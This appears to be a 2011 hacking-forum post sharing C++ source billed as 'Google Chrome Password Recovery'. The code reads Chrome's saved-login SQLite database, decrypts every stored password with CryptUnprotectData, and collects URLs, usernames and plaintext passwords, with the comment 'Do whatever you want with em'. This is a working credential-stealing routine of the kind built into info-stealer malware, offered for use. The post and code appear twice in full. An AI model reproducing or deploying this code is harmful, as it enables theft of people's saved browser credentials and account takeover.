13-11-2011, 01:23 PM
Here's a snippet for Google Chrome Password Recovery
Coded a long time ago, but it still works.
[code=cpp]/*
* Google Chrome Password Recovery
*
* Coded by Sacrificial
* [email protected]
*
*/
void GetGoogleChrome()
{
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword;
DATA_BLOB DataIn, DataOut;
SHGetSpecialFolderPath(0, szPath, 0x1C, 0);
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
// Do whatever you want with em;
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
}
}[/code]
Note:
Its not the best coding, but it works, and like I said its old.
It requires the SQLite libraries.
For Chrome 6 and up the path is "\\Google\\Chrome\\User Data\\Default\\Login Data"
For Chrome 5 and below the path is "\\Google\\Chrome\\User Data\\Default\\Web Data"
Coded a long time ago, but it still works.
[code=cpp]/*
* Google Chrome Password Recovery
*
* Coded by Sacrificial
* [email protected]
*
*/
void GetGoogleChrome()
{
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword;
DATA_BLOB DataIn, DataOut;
SHGetSpecialFolderPath(0, szPath, 0x1C, 0);
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
// Do whatever you want with em;
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
}
}[/code]
Note:
Its not the best coding, but it works, and like I said its old.
It requires the SQLite libraries.
For Chrome 6 and up the path is "\\Google\\Chrome\\User Data\\Default\\Login Data"
For Chrome 5 and below the path is "\\Google\\Chrome\\User Data\\Default\\Web Data"